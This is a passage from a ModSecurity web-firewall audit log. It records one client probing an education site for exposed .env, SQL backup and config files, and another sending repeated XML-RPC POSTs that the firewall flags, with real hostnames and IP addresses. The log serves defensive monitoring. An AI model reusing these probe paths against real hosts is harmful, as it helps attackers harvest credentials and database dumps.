"/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/test/.env"] [unique_id "aE9O6-xC6fQU5wYvxvlxowAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750028011478631 678159 (- - -) Stopwatch2: 1750028011478631 678159; combined=1987, p1=411, p2=1474, p3=0, p4=0, p5=101, sr=120, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --8b799a11-Z-- --c5e3b527-A-- [16/Jun/2025:04:23:38.563213 +0530] aE9O8fNXjUHq-Wm7C_8XPAAAAAQ 185.177.72.210 48076 127.0.0.1 7081 --c5e3b527-B-- GET /:5000/api/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c5e3b527-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=93f0889ac654ee6a1603be9a16fceedc1750028018; expires=Sun, 15 Jun 2025 23:53:38 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c5e3b527-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/api/.env"] [unique_id "aE9O8fNXjUHq-Wm7C_8XPAAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750028017898061 665229 (- - -) Stopwatch2: 1750028017898061 665229; combined=1829, p1=422, p2=1315, p3=0, p4=0, p5=91, sr=87, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c5e3b527-Z-- --8f23e045-A-- [16/Jun/2025:04:23:45.702062 +0530] aE9O-ZbumDYPKpRD2ekohwAAAAA 185.177.72.210 35854 127.0.0.1 7081 --8f23e045-B-- GET /old/.env.dev HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --8f23e045-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=47e97589f66ad2d28df6d430d3f901a41750028025; expires=Sun, 15 Jun 2025 23:53:45 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --8f23e045-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/old/.env.dev"] [unique_id "aE9O-ZbumDYPKpRD2ekohwAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750028025038316 663809 (- - -) Stopwatch2: 1750028025038316 663809; combined=2296, p1=425, p2=1761, p3=0, p4=0, p5=110, sr=91, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --8f23e045-Z-- --951cab35-A-- [16/Jun/2025:04:23:47.647737 +0530] aE9O-pbumDYPKpRD2ekoiAAAAAA 185.177.72.210 35946 127.0.0.1 7081 --951cab35-B-- GET /2012.sql HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --951cab35-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=3dc3f435197207a7bc79780c90eab6da1750028027; expires=Sun, 15 Jun 2025 23:53:47 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --951cab35-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/2012.sql"] [unique_id "aE9O-pbumDYPKpRD2ekoiAAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750028026996051 651747 (- - -) Stopwatch2: 1750028026996051 651747; combined=1968, p1=349, p2=1519, p3=0, p4=0, p5=99, sr=92, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --951cab35-Z-- --d9dc4d30-A-- [16/Jun/2025:04:23:53.392944 +0530] aE9PAOxC6fQU5wYvxvlxrwAAAAk 185.177.72.210 56476 127.0.0.1 7081 --d9dc4d30-B-- GET /config/db_backup.sql HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --d9dc4d30-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=929a42b75ab96a886d02dc70042f68ff1750028033; expires=Sun, 15 Jun 2025 23:53:53 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --d9dc4d30-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/config/db_backup.sql"] [unique_id "aE9PAOxC6fQU5wYvxvlxrwAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750028032708818 684198 (- - -) Stopwatch2: 1750028032708818 684198; combined=1967, p1=420, p2=1446, p3=0, p4=0, p5=101, sr=134, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d9dc4d30-Z-- --a9fd6069-A-- [16/Jun/2025:04:23:54.394637 +0530] aE9PAXwHSJGQ1A1pR0qZIgAAAAY 185.177.72.210 56560 127.0.0.1 7081 --a9fd6069-B-- GET /:8080/.env.save.1 HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --a9fd6069-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=2d3ceb3c6f4f0ab7509e067b442937371750028034; expires=Sun, 15 Jun 2025 23:53:54 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --a9fd6069-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/.env.save.1"] [unique_id "aE9PAXwHSJGQ1A1pR0qZIgAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750028033745097 649608 (- - -) Stopwatch2: 1750028033745097 649608; combined=1659, p1=377, p2=1184, p3=0, p4=0, p5=97, sr=104, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a9fd6069-Z-- --927fd96a-A-- [16/Jun/2025:04:24:01.553108 +0530] aE9PCHwHSJGQ1A1pR0qZJQAAAAY 185.177.72.210 41576 127.0.0.1 7081 --927fd96a-B-- GET /mrtg.cfg HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --927fd96a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=19f862309a3592dc4b86dd98601518811750028041; expires=Sun, 15 Jun 2025 23:54:01 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --927fd96a-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".cfg"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".cfg"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/mrtg.cfg"] [unique_id "aE9PCHwHSJGQ1A1pR0qZJQAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750028040872114 681058 (- - -) Stopwatch2: 1750028040872114 681058; combined=2027, p1=377, p2=1521, p3=0, p4=0, p5=128, sr=81, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --927fd96a-Z-- --6259247e-A-- [16/Jun/2025:04:24:05.514801 +0530] aE9PDH2GhYywD7zZgx4DTQAAAAM 128.199.112.101 41690 127.0.0.1 7081 --6259247e-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 507 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --6259247e-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --6259247e-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9PDH2GhYywD7zZgx4DTQAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750028044574595 940262 (- - -) Stopwatch2: 1750028044574595 940262; combined=2496, p1=403, p2=1663, p3=42, p4=84, p5=190, sr=118, sw=114, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --6259247e-Z-- --702e6b02-A-- [16/Jun/2025:04:24:05.661938 +0530] aE9PDPNXjUHq-Wm7C_8XSgAAAAQ 185.177.72.210 41708 127.0.0.1 7081 --702e6b02-B-- GET /first-network/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --702e6b02-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=bd83ac8561836f353d59d2a468d432291750028045; expires=Sun, 15 Jun 2025 23:54:05 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --702e6b02-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/first-network/.env"] [unique_id "aE9PDPNXjUHq-Wm7C_8XSgAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750028044929279 732723 (- - -) Stopwatch2: 1750028044929279 732723; combined=1962, p1=411, p2=1455, p3=0, p4=0, p5=95, sr=104, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --702e6b02-Z-- --6d435777-A-- [16/Jun/2025:04:24:21.213334 +0530] aE9PHFxTdrwJSUMoZvGzhQAAAAc 185.177.72.210 39384 127.0.0.1 7081 --6d435777-B-- GET /:8080/protected/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --6d435777-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=0b9e2732972d77f2c8e52f427eb001721750028061; expires=Sun, 15 Jun 2025 23:54:21 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --6d435777-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/protected/.env"] [unique_id "aE9PHFxTdrwJSUMoZvGzhQAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750028060560087 653324 (- - -) Stopwatch2: 1750028060560087 653324; combined=1949, p1=416, p2=1435, p3=0, p4=0, p5=97, sr=105, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --6d435777-Z-- --6357b54e-A-- [16/Jun/2025:04:24:23.163474 +0530] aE9PHnwHSJGQ1A1pR0qZLwAAAAY 185.177.72.210 39446 127.0.0.1 7081 --6357b54e-B-- GET /:10000/api/.env.staging HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --6357b54e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=8b8c1fedd48737e421103e345cf5f97e1750028063; expires=Sun, 15 Jun 2025 23:54:23 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --6357b54e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/api/.env.staging"] [unique_id "aE9PHnwHSJGQ1A1pR0qZLwAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750028062528007 635524 (- - -) Stopwatch2: 1750028062528007 635524; combined=1724, p1=500, p2=1159, p3=0, p4=0, p5=65, sr=110, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --6357b54e-Z-- --4065d215-A-- [16/Jun/2025:04:24:43.278435 +0530] aE9PMpbumDYPKpRD2ekoowAAAAA 185.177.72.210 48706 127.0.0.1 7081 --4065d215-B-- GET /dump.inc HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --4065d215-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c8d34cb5e38999be4bccf5d5d6c235411750028083; expires=Sun, 15 Jun 2025 23:54:43 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --4065d215-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".inc"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".inc"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/dump.inc"] [unique_id "aE9PMpbumDYPKpRD2ekoowAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750028082622738 655801 (- - -) Stopwatch2: 1750028082622738 655801; combined=2040, p1=327, p2=1618, p3=0, p4=0, p5=94, sr=93, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --4065d215-Z-- --f52aaf13-A-- [16/Jun/2025:04:24:53.100874 +0530] aE9PPFxTdrwJSUMoZvGzkwAAAAc 185.177.72.210 36594 127.0.0.1 7081 --f52aaf13-B-- GET /cryo_project/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f52aaf13-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c79349b76f34469b31a0e35bca9b2e6f1750028092; expires=Sun, 15 Jun 2025 23:54:52 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f52aaf13-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/cryo_project/.env"] [unique_id "aE9PPFxTdrwJSUMoZvGzkwAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750028092391308 709629 (- - -) Stopwatch2: 1750028092391308 709629; combined=1887, p1=400, p2=1388, p3=0, p4=0, p5=99, sr=85, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f52aaf13-Z-- --5b711913-A-- [16/Jun/2025:04:25:05.318340 +0530] aE9PSB-kH31pk4mNbsVIEQAAAAo 128.199.112.101 43286 127.0.0.1 7081 --5b711913-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 501 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --5b711913-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --5b711913-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9PSB-kH31pk4mNbsVIEQAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750028104399636 918762 (- - -) Stopwatch2: 1750028104399636 918762; combined=2211, p1=350, p2=1474, p3=46, p4=62, p5=175, sr=97, 